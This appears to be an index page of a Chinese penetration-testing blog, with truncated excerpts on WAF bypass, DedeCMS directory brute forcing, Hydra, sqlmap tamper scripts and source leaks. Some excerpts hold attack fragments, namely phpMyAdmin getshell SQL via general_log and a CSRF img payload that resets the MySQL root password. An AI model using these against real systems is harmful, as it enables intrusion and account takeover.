利用分块传输吊打所有WAF
技巧1 使用注释扰乱分块数据包 一些如Imperva、360等比较好的WAF已经对Transfer-Encoding的分块传输做了处理，可以把分块组合成完整的HTTP数据包，这时直接使用常规的分块传输方法尝试绕过的话，会被WAF直接识别并阻断。 我们可以在[RFC7230]中查看到有关分块传输的定义规范。 4.1. Chunked Transfer Coding The chunked trans...
WIN服务器爆破DEDECMS后台目录
利用脚本python： #!/usr/bin/env python '''/* * author = Mochazz * team = 红日安全团队 * env = pyton3 * */ ''' import requests import itertools characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#" back_dir = ""...
kali2018.2源
一、更新 #阿里云 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #中科大 deb http://mirrors.ustc.edu.cn/kali kali-...
三个sql语句拿下phpmyadmin的shell
三个sql语句拿下phpmyadmin的shell 首先要知道路径 一句一句的执行 --------------------------------------------------------- set global general_log='on'; --------------------------------------------------------- SET global ge...
phpMyAdmin 4.7.x CSRF 漏洞利用
修改root密码： 保存为：webshell.html <p>Hello World</p> <img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.webshell.cc%27)" style="d...
Linux下暴力破解工具Hydra详解
Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to...
phpmyadmin新姿势getshell
旁白：在一个有WAF、并且mysql中的Into outfile禁用的情况下，我该如何getshell？ 首先环境如下： OS:Windows 2003 WAF:Safe Dog 4.0正式版 phpmyadmin:4.7（许多都可以） Mysql:5.5+ PHP:5.3 Apache:2.x 目前 into outfile 已经被禁用，并且WAF也会在写入文件的时候拦截。 那么我们尝试通过一个...
使用sqlmap中tamper脚本绕过waf
0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击。 由于乌云知识库少了sqlmap-tamper 收集一下，方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我，着能偷偷说一下多做一些收集对吸收知识很快。 0x01 start 脚本名：apostrophemask.py 作...
常见Web源码泄露总结
背景 本文主要是记录一下常见的源码泄漏问题，这些经常在web渗透测试以及CTF中出现。 .hg源码泄漏 漏洞成因： hg init的时候会生成.hg e.g.http://www.example.com/.hg/ 漏洞利用： 工具： dvcs-ripper rip-hg.pl -v -u http://www.example.com/.hg/ .git源码泄漏 漏洞成因： 在运行gi...
PentestBox简明使用教程
0x01介绍 PentestBox：渗透测试盒子 顾名思义，这是一个渗透工具包，但是不同于绝大多数国内xx工具包的是，这里集成的大都是Linux下的工具,Kali Linux上面的常用的很多工具这里面也都集成了。 PentestBox官网：https://pentestbox.org/zh/ 官方的介绍如下： PentestBox是一款Windows平台下预配置的便携式开源渗透测试环境 为什么又有...